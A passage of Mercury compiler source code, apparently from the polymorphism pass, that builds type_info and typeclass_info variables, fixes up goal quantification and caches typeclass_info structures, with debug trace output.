pred_info_get_arg_types(CalleePredInfo, PredTVarSet, _PredExistQVars,\n        PredArgTypes),\n    proc_info_get_headvars(CalleeProcInfo, CalleeHeadVars),\n    proc_info_get_rtti_varmaps(CalleeProcInfo, CalleeRttiVarMaps),\n\n    % Work out how many type_info args we need to prepend.\n    NCallArgs0 = list.length(ActualArgTypes0),\n    NPredArgs  = list.length(PredArgTypes),\n    NExtraArgs = NPredArgs - NCallArgs0,\n    (\n        list.drop(NExtraArgs, PredArgTypes, OrigPredArgTypes0),\n        list.take(NExtraArgs, CalleeHeadVars, CalleeExtraHeadVars0)\n    ->\n        OrigPredArgTypes = OrigPredArgTypes0,\n        CalleeExtraHeadVars = CalleeExtraHeadVars0\n    ;\n        unexpected($module, $pred, \"extra args not found\")\n    ),\n\n    % Work out the bindings of type variables in the call.\n    tvarset_merge_renaming(TVarSet0, PredTVarSet, TVarSet,\n        PredToParentRenaming),\n    apply_variable_renaming_to_type_list(PredToParentRenaming,\n        OrigPredArgTypes, OrigParentArgTypes),\n    type_list_subsumes_det(OrigParentArgTypes, ActualArgTypes0,\n        ParentToActualTSubst),\n    poly_info_set_typevarset(TVarSet, !Info),\n\n    % Look up the type variables that the type_infos in the caller are for,\n    % and apply the type bindings to calculate the types that the caller\n    % should pass type_infos for.\n    GetTypeInfoTypes = (pred(ProgVar::in, TypeInfoType::out) is det :-\n        rtti_varmaps_var_info(CalleeRttiVarMaps, ProgVar, VarInfo),\n        (\n            VarInfo = type_info_var(TypeInfoType)\n        ;\n            VarInfo = typeclass_info_var(_),\n            unexpected($module, $pred,\n                \"unsupported: constraints on initialisation preds\")\n        ;\n            VarInfo = non_rtti_var,\n            unexpected($module, $pred,\n                \"missing rtti_var_info for initialisation pred\")\n        )\n    ),\n    list.map(GetTypeInfoTypes, CalleeExtraHeadVars, PredTypeInfoTypes),\n    apply_variable_renaming_to_type_list(PredToParentRenaming,\n        PredTypeInfoTypes, ParentTypeInfoTypes),\n    apply_rec_subst_to_type_list(ParentToActualTSubst, ParentTypeInfoTypes,\n        ActualTypeInfoTypes),\n\n    % Construct goals to make the required type_infos.\n    Ctxt = term.context_init,\n    polymorphism_do_make_type_info_vars(ActualTypeInfoTypes, Ctxt,\n        ExtraArgsConstArgs, ExtraGoals, !Info),\n    assoc_list.keys(ExtraArgsConstArgs, ExtraArgs),\n    CallArgs = ExtraArgs ++ CallArgs0,\n    NonLocals0 = goal_info_get_nonlocals(GoalInfo0),\n    NonLocals1 = set_of_var.list_to_set(ExtraArgs),\n    set_of_var.union(NonLocals0, NonLocals1, NonLocals),\n    goal_info_set_nonlocals(NonLocals, GoalInfo0, GoalInfo),\n    CallGoalExpr = plain_call(PredId, ProcId, CallArgs, BuiltinState,\n        MaybeCallUnifyContext, SymName),\n    CallGoal = hlds_goal(CallGoalExpr, GoalInfo),\n    conj_list_to_goal(ExtraGoals ++ [CallGoal], GoalInfo, Goal).\n\n%-----------------------------------------------------------------------------%\n\n    % If the pred we are processing is a polymorphic predicate, or contains\n    % polymorphically-typed goals, we may need to fix up the quantification\n    % (nonlocal variables) of the goal so that it includes the extra type_info\n    % variables and typeclass_info variables that we added to the headvars\n    % or the arguments of existentially typed predicate calls, function calls\n    % and deconstruction unifications.\n    %\n    % Type(class)-infos added for ground types passed to predicate calls,\n    % function calls and existentially typed construction unifications\n    % do not require requantification because they are local to the conjunction\n    % containing the type(class)-info construction and the goal which uses the\n    % type(class)-info. The nonlocals for those goals are adjusted by\n    % the code which creates/alters them. However, reusing a type_info changes\n    % it from being local to nonlocal.\n    %\n:- pred fixup_quantification(proc_arg_vector(prog_var)::in,\n    existq_tvars::in, hlds_goal::in, hlds_goal::out,\n    poly_info::in, poly_info::out) is det.\n\nfixup_quantification(HeadVars, ExistQVars, Goal0, Goal, !Info) :-\n    (\n        % Optimize common case.\n        ExistQVars = [],\n        rtti_varmaps_no_tvars(!.Info ^ poly_rtti_varmaps),\n        poly_info_get_num_reuses(!.Info, NumReuses),\n        NumReuses = 0\n    ->\n        Goal = Goal0\n    ;\n        poly_info_get_varset(!.Info, VarSet0),\n        poly_info_get_var_types(!.Info, VarTypes0),\n        poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n        OutsideVars = proc_arg_vector_to_set(HeadVars),\n        implicitly_quantify_goal_general(ordinary_nonlocals_maybe_lambda,\n            set_to_bitset(OutsideVars), _Warnings, Goal0, Goal,\n            VarSet0, VarSet, VarTypes0, VarTypes, RttiVarMaps0, RttiVarMaps),\n        poly_info_set_varset_and_types(VarSet, VarTypes, !Info),\n        poly_info_set_rtti_varmaps(RttiVarMaps, !Info)\n    ).\n\n    % If the lambda goal we are processing is polymorphically typed, we may\n    % need to fix up the quantification (nonlocal variables) so that it\n    % includes the type_info variables and typeclass_info variables for\n    % any polymorphically typed variables in the nonlocals set or in the\n    % arguments (either the lambda vars or the implicit curried argument\n    % variables). Including typeinfos for arguments which are not in the\n    % nonlocals set of the goal, i.e. unused arguments, is necessary only\n    % if typeinfo_liveness is set, but we do it always, since we don't have\n    % the options available here, and the since cost is pretty minimal.\n    %\n:- pred fixup_lambda_quantification(list(prog_var)::in,\n    list(prog_var)::in, existq_tvars::in, hlds_goal::in, hlds_goal::out,\n    set_of_progvar::out, poly_info::in, poly_info::out) is det.\n\nfixup_lambda_quantification(ArgVars, LambdaVars, ExistQVars, !Goal,\n        NewOutsideVars, !Info) :-\n    poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n    ( rtti_varmaps_no_tvars(RttiVarMaps0) ->\n        set_of_var.init(NewOutsideVars)\n    ;\n        poly_info_get_varset(!.Info, VarSet0),\n        poly_info_get_var_types(!.Info, VarTypes0),\n        !.Goal = hlds_goal(_, GoalInfo0),\n        NonLocals = goal_info_get_nonlocals(GoalInfo0),\n        set_of_var.insert_list(ArgVars, NonLocals, NonLocalsPlusArgs0),\n        set_of_var.insert_list(LambdaVars,\n            NonLocalsPlusArgs0, NonLocalsPlusArgs),\n        goal_util.extra_nonlocal_typeinfos(RttiVarMaps0, VarTypes0,\n            ExistQVars, NonLocalsPlusArgs, NewOutsideVars),\n        set_of_var.union(NonLocals, NewOutsideVars, OutsideVars),\n        implicitly_quantify_goal_general(ordinary_nonlocals_maybe_lambda,\n            OutsideVars, _Warnings, !Goal,\n            VarSet0, VarSet, VarTypes0, VarTypes, RttiVarMaps0, RttiVarMaps),\n        poly_info_set_varset_and_types(VarSet, VarTypes, !Info),\n        poly_info_set_rtti_varmaps(RttiVarMaps, !Info)\n    ).\n\n%-----------------------------------------------------------------------------%\n\n    % Given the list of constraints for a called predicate, create a list of\n    % variables to hold the typeclass_info for those constraints, and create\n    % a list of goals to initialize those typeclass_info variables to the\n    % appropriate typeclass_info structures for the constraints.\n    %\n    % Constraints should be renamed-apart and actual-to-formal substituted\n    % constraints. Constraints which are already in the rtti_varmaps are\n    % assumed to have already had their typeclass_infos initialized; for them,\n    % we just return the variable in the rtti_varmaps.\n    %\n:- pred make_typeclass_info_vars(list(prog_constraint)::in,\n    existq_tvars::in, prog_context::in,\n    assoc_list(prog_var, maybe(const_struct_arg))::out, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\nmake_typeclass_info_vars(Constraints, ExistQVars, Context,\n        TypeClassInfoVarsMCAs, ExtraGoals, !Info) :-\n    SeenInstances = [],\n    make_typeclass_info_vars_2(Constraints, SeenInstances, ExistQVars, Context,\n        TypeClassInfoVarsMCAs, ExtraGoals, !Info).\n\n    % Accumulator version of the above.\n    %\n:- pred make_typeclass_info_vars_2(list(prog_constraint)::in,\n    list(prog_constraint)::in, existq_tvars::in, prog_context::in,\n    assoc_list(prog_var, maybe(const_struct_arg))::out, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\nmake_typeclass_info_vars_2([], _Seen, _ExistQVars, _Context,\n        [], [], !Info).\nmake_typeclass_info_vars_2([Constraint | Constraints], Seen, ExistQVars,\n        Context, [TypeClassInfoVarMCA | TypeClassInfoVarsMCAs],\n        ExtraGoals, !Info) :-\n    make_typeclass_info_var(Constraint, [Constraint | Seen],\n        ExistQVars, Context, TypeClassInfoVarMCA, HeadExtraGoals, !Info),\n    make_typeclass_info_vars_2(Constraints, Seen, ExistQVars,\n        Context, TypeClassInfoVarsMCAs, TailExtraGoals, !Info),\n    ExtraGoals = HeadExtraGoals ++ TailExtraGoals.\n\n:- pred make_typeclass_info_var(prog_constraint::in,\n    list(prog_constraint)::in, existq_tvars::in, prog_context::in,\n    pair(prog_var, maybe(const_struct_arg))::out, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\nmake_typeclass_info_var(Constraint, Seen, ExistQVars, Context,\n        TypeClassInfoVarMCA, Goals, !Info) :-\n    (\n        poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n        rtti_search_typeclass_info_var(RttiVarMaps0, Constraint,\n            OldTypeClassInfoVar)\n    ->\n        % We already have a typeclass_info for this constraint, either from\n        % a parameter to the pred or from an existentially quantified goal\n        % that we have already processed.\n        TypeClassInfoVar = OldTypeClassInfoVar,\n        TypeClassInfoVarMCA = TypeClassInfoVar - no,\n        Goals = []\n    ;\n        % We don't have the typeclass_info, so we must either have a proof\n        % that tells us how to make it, or ...\n        map.search(!.Info ^ poly_proof_map, Constraint, Proof)\n    ->\n        make_typeclass_info_from_proof(Constraint, Seen, Proof, ExistQVars,\n            Context, TypeClassInfoVarMCA, Goals, !Info)\n    ;\n        % ... it will be produced by an existentially typed goal that\n        % we will process later on.\n        make_typeclass_info_head_var(do_record_type_info_locns, Constraint,\n            TypeClassInfoVar, !Info),\n        poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n        rtti_reuse_typeclass_info_var(TypeClassInfoVar,\n            RttiVarMaps0, RttiVarMaps),\n        poly_info_set_rtti_varmaps(RttiVarMaps, !Info),\n        TypeClassInfoVarMCA = TypeClassInfoVar - no,\n        Goals = []\n    ).\n\n:- pred make_typeclass_info_from_proof(prog_constraint::in,\n    list(prog_constraint)::in, constraint_proof::in, existq_tvars::in,\n    prog_context::in, pair(prog_var, maybe(const_struct_arg))::out,\n    list(hlds_goal)::out, poly_info::in, poly_info::out) is det.\n\nmake_typeclass_info_from_proof(Constraint, Seen, Proof,\n        ExistQVars, Context, TypeClassInfoVarMCA, Goals, !Info) :-\n    (\n        % XXX MR_Dictionary should have MR_Dictionaries for superclass\n        % We have to extract the typeclass_info from another one.\n        Proof = superclass(SubClassConstraint),\n        make_typeclass_info_from_subclass(Constraint, Seen, SubClassConstraint,\n            ExistQVars, Context, TypeClassInfoVarMCA, Goals, !Info)\n    ;\n        % We have to construct the typeclass_info using an instance\n        % declaration.\n        Proof = apply_instance(InstanceNum),\n        make_typeclass_info_from_instance(Constraint, Seen, InstanceNum,\n            ExistQVars, Context, TypeClassInfoVarMCA, Goals, !Info)\n    ).\n\n:- pred make_typeclass_info_from_subclass(prog_constraint::in,\n    list(prog_constraint)::in, prog_constraint::in, existq_tvars::in,\n    prog_context::in, pair(prog_var, maybe(const_struct_arg))::out,\n    list(hlds_goal)::out, poly_info::in, poly_info::out) is det.\n\nmake_typeclass_info_from_subclass(Constraint, Seen, SubClassConstraint,\n        ExistQVars, Context, TypeClassInfoVar - MaybeTCIConstArg, Goals,\n        !Info) :-\n    trace [compiletime(flag(\"debug_poly_caches\")), io(!IO)] (\n        some [SelectedPred, Level, IndentStr] (\n            promise_pure (\n                semipure get_selected_pred(SelectedPred),\n                semipure get_level(Level),\n                (\n                    SelectedPred = no\n                ;\n                    SelectedPred = yes,\n                    IndentStr = string.duplicate_char(' ', Level * 4),\n                    impure set_level(Level + 1),\n\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"make_typeclass_info_from_subclass\", !IO),\n                    io.nl(!IO),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"Constraint: \", !IO),\n                    io.write(Constraint, !IO),\n                    io.nl(!IO),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"Seen: \", !IO),\n                    ( Seen = [Constraint] ->\n                        io.write_string(\"[Constraint]\\n\", !IO)\n                    ;\n                        io.write(Seen, !IO),\n                        io.nl(!IO)\n                    ),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"SubClassConstraint: \", !IO),\n                    io.write(SubClassConstraint, !IO),\n                    io.nl(!IO),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"ExistQVars: \", !IO),\n                    io.write(ExistQVars, !IO),\n                    io.nl(!IO),\n                    io.nl(!IO)\n                )\n            )\n        )\n    ),\n\n    % Work out where to extract the typeclass info from.\n    SubClassConstraint = constraint(SubClassName, SubClassTypes),\n    list.length(SubClassTypes, SubClassArity),\n    SubClassId = class_id(SubClassName, SubClassArity),\n\n    % Make the typeclass_info for the subclass.\n    make_typeclass_info_var(SubClassConstraint, Seen, ExistQVars, Context,\n        SubClassVarMCA, SubClassVarGoals, !Info),\n    SubClassVarMCA = SubClassVar - SubClassMCA,\n\n    % Look up the definition of the subclass.\n    poly_info_get_module_info(!.Info, ModuleInfo),\n    module_info_get_class_table(ModuleInfo, ClassTable),\n    map.lookup(ClassTable, SubClassId, SubClassDefn),\n\n    % Work out which superclass typeclass_info to take.\n    map.from_corresponding_lists(SubClassDefn ^ class_vars, SubClassTypes,\n        SubTypeSubst),\n    apply_subst_to_prog_constraint_list(SubTypeSubst,\n        SubClassDefn ^ class_supers, SuperClasses),\n    ( list.nth_member_search(SuperClasses, Constraint, SuperClassIndex0) ->\n        SuperClassIndex0 = SuperClassIndex\n    ;\n        % We shouldn't have got this far if the constraints were not satisfied.\n        unexpected($module, $pred, \"constraint not in constraint list\")\n    ),\n\n    (\n        SubClassMCA = yes(SubClassConstArg),\n        (\n            SubClassConstArg = csa_constant(_, _),\n            unexpected($module, $pred, \"typeclass infos need a cell\")\n        ;\n            SubClassConstArg = csa_const_struct(SubClassConstNum),\n            poly_info_get_const_struct_db(!.Info, ConstStructDb),\n            lookup_const_struct_num(ConstStructDb, SubClassConstNum,\n                SubClassConstStruct),\n            SubClassConstStruct = const_struct(SubClassConsId, SubClassArgs,\n                _, _),\n            (\n                SubClassConsId = typeclass_info_cell_constructor,\n                SubClassArgs = [BTCIArg | OtherArgs],\n                BTCIArg = csa_constant(BTCIConsId, _),\n                BTCIConsId = base_typeclass_info_const(_, SubClassId,\n                    SubInstanceNum, _),\n                module_info_get_instance_table(ModuleInfo, InstanceTable),\n                map.lookup(InstanceTable, SubClassId, SubInstanceDefns),\n                list.index1(SubInstanceDefns, SubInstanceNum, SubInstanceDefn),\n                num_extra_instance_args(SubInstanceDefn, NumExtra),\n                Index = NumExtra + SuperClassIndex,\n                list.det_index1(OtherArgs, Index, SelectedArg),\n                SelectedArg = csa_const_struct(SelectedConstNum)\n            ->\n                materialize_typeclass_info_var(Constraint, SelectedConstNum,\n                    TypeClassInfoVar, Goals, !Info),\n                MaybeTCIConstArg = yes(SelectedArg)\n            ;\n                unexpected($module, $pred,\n                    \"unexpected typeclass info structure\")\n            )\n        ),\n\n        trace [compiletime(flag(\"debug_poly_caches\")), io(!IO)] (\n            some [SelectedPred, Level, IndentStr, ResultStr] (\n                promise_pure (\n                    semipure get_selected_pred(SelectedPred),\n                    semipure get_level(Level),\n                    impure set_level(Level - 1),\n                    (\n                        SelectedPred = no\n                    ;\n                        SelectedPred = yes,\n                        IndentStr = string.duplicate_char(' ', (Level-1) * 4),\n                        io.write_string(IndentStr, !IO),\n                        io.write_string(\"subclass constant result \", !IO),\n                        io.write(TypeClassInfoVar - MaybeTCIConstArg, !IO),\n                        io.nl(!IO),\n                        io.nl(!IO)\n                    )\n                )\n            )\n        )\n    ;\n        SubClassMCA = no,\n        new_typeclass_info_var(Constraint, typeclass_info_kind,\n            TypeClassInfoVar, _TypeClassInfoVarType, !Info),\n        get_poly_const(SuperClassIndex, IndexVar, IndexGoals, !Info),\n\n        % We extract the superclass typeclass_info by inserting a call\n        % to superclass_from_typeclass_info in private_builtin.\n        goal_util.generate_simple_call(mercury_private_builtin_module,\n            \"superclass_from_typeclass_info\",\n            pf_predicate, only_mode, detism_det, purity_pure,\n            [SubClassVar, IndexVar, TypeClassInfoVar], [],\n            instmap_delta_bind_no_var, ModuleInfo, term.context_init,\n            SuperClassGoal),\n        Goals = SubClassVarGoals ++ IndexGoals ++ [SuperClassGoal],\n        MaybeTCIConstArg = no,\n\n        trace [compiletime(flag(\"debug_poly_caches\")), io(!IO)] (\n            some [SelectedPred, Level, IndentStr, ResultStr] (\n                promise_pure (\n                    semipure get_selected_pred(SelectedPred),\n                    semipure get_level(Level),\n                    impure set_level(Level - 1),\n                    (\n                        SelectedPred = no\n                    ;\n                        SelectedPred = yes,\n                        IndentStr = string.duplicate_char(' ', (Level-1) * 4),\n                        io.write_string(IndentStr, !IO),\n                        io.write_string(\"subclass computed result \", !IO),\n                        io.write(TypeClassInfoVar - MaybeTCIConstArg, !IO),\n                        io.nl(!IO),\n                        io.nl(!IO)\n                    )\n                )\n            )\n        )\n    ).\n\n:- pred make_typeclass_info_from_instance(prog_constraint::in,\n    list(prog_constraint)::in, int::in, existq_tvars::in, prog_context::in,\n    pair(prog_var, maybe(const_struct_arg))::out, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\nmake_typeclass_info_from_instance(Constraint, Seen, InstanceNum, ExistQVars,\n        Context, TypeClassInfoVarMCA, Goals, !Info) :-\n    trace [compiletime(flag(\"debug_poly_caches\")), io(!IO)] (\n        some [SelectedPred, Level, IndentStr] (\n            promise_pure (\n                semipure get_selected_pred(SelectedPred),\n                semipure get_level(Level),\n                (\n                    SelectedPred = no\n                ;\n                    SelectedPred = yes,\n                    IndentStr = string.duplicate_char(' ', Level * 4),\n                    impure set_level(Level + 1),\n\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"make_typeclass_info_from_instance\", !IO),\n                    io.nl(!IO),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"Constraint: \", !IO),\n                    io.write(Constraint, !IO),\n                    io.nl(!IO),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"Seen: \", !IO),\n                    ( Seen = [Constraint] ->\n                        io.write_string(\"[Constraint]\\n\", !IO)\n                    ;\n                        io.write(Seen, !IO),\n                        io.nl(!IO)\n                    ),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"InstanceNum: \", !IO),\n                    io.write(InstanceNum, !IO),\n                    io.nl(!IO),\n                    io.write_string(IndentStr, !IO),\n                    io.write_string(\"ExistQVars: \", !IO),\n                    io.write(ExistQVars, !IO),\n                    io.nl(!IO),\n                    io.nl(!IO)\n                )\n            )\n        )\n    ),\n\n    poly_info_get_const_struct_db(!.Info, ConstStructDb0),\n    InstanceId = ciid(InstanceNum, Constraint, Seen),\n    (\n        ExistQVars = [],\n        search_for_constant_instance(ConstStructDb0, InstanceId,\n            InstanceIdConstNum)\n    ->\n        materialize_typeclass_info_var(Constraint, InstanceIdConstNum,\n            TypeClassInfoVar, Goals, !Info),\n        TypeClassInfoVarMCA =\n            TypeClassInfoVar - yes(csa_const_struct(InstanceIdConstNum)),\n\n        trace [compiletime(flag(\"debug_poly_caches\")), io(!IO)] (\n            some [SelectedPred, Level, IndentStr, ResultStr] (\n                promise_pure (\n                    semipure get_selected_pred(SelectedPred),\n                    semipure get_level(Level),\n                    impure set_level(Level - 1),\n                    (\n                        SelectedPred = no\n                    ;\n                        SelectedPred = yes,\n                        IndentStr = string.duplicate_char(' ', (Level-1) * 4),\n                        (\n                            Goals = [],\n                            ResultStr = \"instance doubly cached result \"\n                        ;\n                            Goals = [_ | _],\n                            ResultStr = \"instance cached result \"\n                        ),\n\n                        io.write_string(IndentStr, !IO),\n                        io.write_string(ResultStr, !IO),\n                        io.write(TypeClassInfoVarMCA, !IO),\n                        io.nl(!IO),\n                        io.nl(!IO)\n                    )\n                )\n            )\n        )\n    ;\n        do_make_typeclass_info_from_instance(InstanceId, ExistQVars,\n            Context, TypeClassInfoVarMCA, Goals, !Info),\n        trace [compiletime(flag(\"debug_poly_caches\")), io(!IO)] (\n            some [SelectedPred, Level, IndentStr] (\n                promise_pure (\n                    semipure get_selected_pred(SelectedPred),\n                    semipure get_level(Level),\n                    impure set_level(Level - 1),\n                    (\n                        SelectedPred = no\n                    ;\n                        SelectedPred = yes,\n                        IndentStr = string.duplicate_char(' ', (Level-1) * 4),\n                        io.write_string(IndentStr, !IO),\n                        io.write_string(\"instance computed result: \", !IO),\n                        io.write(TypeClassInfoVarMCA, !IO),\n                        io.nl(!IO),\n\n                        io.write_string(IndentStr, !IO),\n                        io.write_string(\"type_info_var_map \", !IO),\n                        io.write(!.Info ^ poly_type_info_var_map, !IO),\n                        io.nl(!IO),\n                        io.write_string(IndentStr, !IO),\n                        io.write_string(\"typeclass_info_map \", !IO),\n                        io.write(!.Info ^ poly_typeclass_info_map, !IO),\n                        io.nl(!IO),\n                        io.write_string(IndentStr, !IO),\n                        io.write_string(\"struct_var_map \", !IO),\n                        io.write(!.Info ^ poly_const_struct_var_map, !IO),\n                        io.nl(!IO),\n                        io.nl(!IO)\n                    )\n                )\n            )\n        )\n    ).\n\n:- pred do_make_typeclass_info_from_instance(const_instance_id::in,\n    existq_tvars::in, prog_context::in,\n    pair(prog_var, maybe(const_struct_arg))::out, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\ndo_make_typeclass_info_from_instance(InstanceId, ExistQVars, Context,\n        TypeClassInfoVarMCA, Goals, !Info) :-\n    poly_info_get_module_info(!.Info, ModuleInfo),\n    module_info_get_instance_table(ModuleInfo, InstanceTable),\n    module_info_get_class_table(ModuleInfo, ClassTable),\n    poly_info_get_typevarset(!.Info, TypeVarSet),\n    poly_info_get_proofs(!.Info, Proofs0),\n\n    InstanceId = ciid(InstanceNum, Constraint, Seen),\n    Constraint = constraint(ClassName, ConstrainedTypes),\n\n    list.length(ConstrainedTypes, ClassArity),\n    ClassId = class_id(ClassName, ClassArity),\n\n    map.lookup(InstanceTable, ClassId, InstanceList),\n    list.det_index1(InstanceList, InstanceNum, ProofInstanceDefn),\n\n    ProofInstanceDefn = hlds_instance_defn(_, _, _, InstanceConstraints,\n        InstanceTypes, _, _, _, InstanceTVarset, InstanceProofs),\n\n    % XXX kind inference:\n    % we assume all tvars have kind `star'.\n    map.init(KindMap),\n\n    type_vars_list(InstanceTypes, InstanceTvars),\n    get_unconstrained_tvars(InstanceTvars, InstanceConstraints,\n        UnconstrainedTvars),\n\n    % We can ignore the new typevarset because all the type variables\n    % in the instance constraints and superclass proofs must appear\n    % in the arguments of the instance, and all such variables\n    % are bound when we call type_list_subsumes then apply\n    % the resulting bindings.\n    tvarset_merge_renaming(TypeVarSet, InstanceTVarset, _NewTVarset, Renaming),\n    apply_variable_renaming_to_type_list(Renaming, InstanceTypes,\n        RenamedInstanceTypes),\n    type_list_subsumes_det(RenamedInstanceTypes, ConstrainedTypes,\n        InstanceSubst),\n    apply_variable_renaming_to_prog_constraint_list(Renaming,\n        InstanceConstraints, RenamedInstanceConstraints),\n    apply_rec_subst_to_prog_constraint_list(InstanceSubst,\n        RenamedInstanceConstraints, ActualInstanceConstraints0),\n    % XXX document diamond as guess\n    % XXX does anyone know what the preceding line means?\n    list.delete_elems(ActualInstanceConstraints0, Seen,\n        ActualInstanceConstraints),\n    apply_variable_renaming_to_constraint_proofs(Renaming,\n        InstanceProofs, RenamedInstanceProofs),\n    apply_rec_subst_to_constraint_proofs(InstanceSubst,\n        RenamedInstanceProofs, ActualInstanceProofs),\n\n    apply_variable_renaming_to_tvar_list(Renaming, UnconstrainedTvars,\n        RenamedUnconstrainedTvars),\n    apply_variable_renaming_to_tvar_kind_map(Renaming, KindMap,\n        RenamedKindMap),\n    apply_rec_subst_to_tvar_list(RenamedKindMap, InstanceSubst,\n        RenamedUnconstrainedTvars, ActualUnconstrainedTypes),\n\n    map.overlay(Proofs0, ActualInstanceProofs, Proofs),\n\n    get_var_maps_snapshot(\"make_typeclass_info_from_instance\",\n        InitialVarMapsSnapshot, !Info),\n\n    % Make the type_infos for the types that are constrained by this.\n    % These are packaged in the typeclass_info.\n    polymorphism_do_make_type_info_vars(ConstrainedTypes, Context,\n        ArgTypeInfoVarsMCAs, TypeInfoGoals, !Info),\n\n    % Make the typeclass_infos for the constraints from the context of the\n    % instance decl.\n    make_typeclass_info_vars_2(ActualInstanceConstraints, Seen, ExistQVars,\n        Context, ArgTypeClassInfoVarsMCAs, InstanceConstraintGoals, !Info),\n\n    % Make the type_infos for the unconstrained type variables\n    % from the head of the instance declaration.\n    polymorphism_do_make_type_info_vars(ActualUnconstrainedTypes, Context,\n        ArgUnconstrainedTypeInfoVarsMCAs, UnconstrainedTypeInfoGoals, !Info),\n\n    % --------------------- %\n\n    map.lookup(ClassTable, ClassId, ClassDefn),\n\n    get_arg_superclass_vars(ClassDefn, ConstrainedTypes, Proofs,\n        ExistQVars, ArgSuperClassVarsMCAs, SuperClassGoals, !Info),\n\n    PrevGoals = UnconstrainedTypeInfoGoals ++ TypeInfoGoals ++\n        InstanceConstraintGoals ++ SuperClassGoals,\n    % Lay out the argument variables as expected in the typeclass_info.\n    ArgVarsMCAs = ArgUnconstrainedTypeInfoVarsMCAs ++\n        ArgTypeClassInfoVarsMCAs ++\n        ArgSuperClassVarsMCAs ++ ArgTypeInfoVarsMCAs,\n    list.map(make_const_or_var_arg, ArgVarsMCAs, ArgCOVAs),\n\n    Constraint = constraint(ConstraintClassName, ConstraintArgTypes),\n    poly_info_get_typeclass_info_map(!.Info, TypeClassInfoMap0),\n    (\n        map.search(TypeClassInfoMap0, ConstraintClassName, ClassNameMap0),\n        map.search(ClassNameMap0, ConstraintArgTypes, OldEntry0),\n        OldEntry0 = typeclass_info_map_entry(_BaseConsId, ArgsMap0),\n        map.search(ArgsMap0, ArgCOVAs, OldTypeClassInfoVarMCA0)\n    ->\n        TypeClassInfoVarMCA = OldTypeClassInfoVarMCA0,\n        Goals = [],\n        set_var_maps_snapshot(\"make_typeclass_info\",\n            InitialVarMapsSnapshot, !Info),\n        poly_info_get_num_reuses(!.Info, NumReuses),\n        poly_info_set_num_reuses(NumReuses + 2, !Info)\n    ;\n        BaseConsId = base_typeclass_info_cons_id(InstanceTable,\n            Constraint, InstanceNum, InstanceTypes),\n        materialize_base_typeclass_info_var(Constraint, BaseConsId, BaseVar,\n            BaseGoals, !Info),\n        construct_typeclass_info(Constraint, BaseVar, BaseConsId, ArgVarsMCAs,\n            InitialVarMapsSnapshot, TypeClassInfoVar, TypeClassInfoMCA,\n            BaseGoals ++ PrevGoals, Goals, !Info),\n        TypeClassInfoVarMCA = TypeClassInfoVar - TypeClassInfoMCA,\n\n        % We must start the search from scratch, since construct_typeclass_info\n        % may have reset all the cache maps.\n        poly_info_get_typeclass_info_map(!.Info, TypeClassInfoMap1),\n        ( map.search(TypeClassInfoMap1, ConstraintClassName, ClassNameMap1) ->\n            ( map.search(ClassNameMap1, ConstraintArgTypes, OldEntry1) ->\n                OldEntry1 = typeclass_info_map_entry(BaseConsId1, ArgsMap1),\n                expect(unify(BaseConsId1, BaseConsId), $module, $pred,\n                    \"BaseConsId1 != BaseConsId\"),\n                map.det_insert(ArgCOVAs, TypeClassInfoVarMCA,\n                    ArgsMap1, ArgsMap),\n                Entry = typeclass_info_map_entry(BaseConsId, ArgsMap),\n                map.det_update(ConstraintArgTypes, Entry,\n                    ClassNameMap1, ClassNameMap),\n                map.det_update(ConstraintClassName, ClassNameMap,\n                    TypeClassInfoMap1, TypeClassInfoMap)\n            ;\n                ArgsMap = map.singleton(ArgCOVAs, TypeClassInfoVarMCA),\n                Entry = typeclass_info_map_entry(BaseConsId, ArgsMap),\n                map.det_insert(ConstraintArgTypes, Entry,\n                    ClassNameMap1, ClassNameMap),\n                map.det_update(ConstraintClassName, ClassNameMap,\n                    TypeClassInfoMap1, TypeClassInfoMap)\n            )\n        ;\n            ArgsMap = map.singleton(ArgCOVAs, TypeClassInfoVarMCA),\n            Entry = typeclass_info_map_entry(BaseConsId, ArgsMap),\n            ClassNameMap = map.singleton(ConstraintArgTypes, Entry),\n            map.det_insert(ConstraintClassName, ClassNameMap,\n                TypeClassInfoMap1, TypeClassInfoMap)\n        ),\n        poly_info_set_typeclass_info_map(TypeClassInfoMap, !Info)\n    ),\n\n    (\n        TypeClassInfoVarMCA = _ - yes(TypeClassInfoConstArg),\n        TypeClassInfoConstArg = csa_const_struct(TypeClassInfoConstArgNum)\n    ->\n        poly_info_get_const_struct_db(!.Info, ConstStructDb1),\n        insert_constant_instance(InstanceId, TypeClassInfoConstArgNum,\n            ConstStructDb1, ConstStructDb),\n        poly_info_set_const_struct_db(ConstStructDb, !Info)\n    ;\n        true\n    ).\n\n:- pred construct_typeclass_info(prog_constraint::in,\n    prog_var::in, cons_id::in,\n    assoc_list(prog_var, maybe(const_struct_arg))::in, var_maps::in,\n    prog_var::out, maybe(const_struct_arg)::out,\n    list(hlds_goal)::in, list(hlds_goal)::out,\n    poly_info::in, poly_info::out) is det.\n\nconstruct_typeclass_info(Constraint, BaseVar, BaseConsId, ArgVarsMCAs,\n        InitialVarMapsSnapshot, TypeClassInfoVar, TypeClassInfoMCA,\n        PrevGoals, AllGoals, !Info) :-\n    % Build a unification to add the argvars to the base_typeclass_info.\n    ConsId = typeclass_info_cell_constructor,\n\n    poly_info_get_const_struct_db(!.Info, ConstStructDb0),\n    const_struct_db_get_poly_enabled(ConstStructDb0, ConstStructEnabled),\n    (\n        ConstStructEnabled = yes,\n        all_are_const_struct_args(ArgVarsMCAs, VarConstArgs)\n    ->\n        poly_info_get_num_reuses(!.Info, NumReuses),\n        poly_info_set_num_reuses(NumReuses + 1, 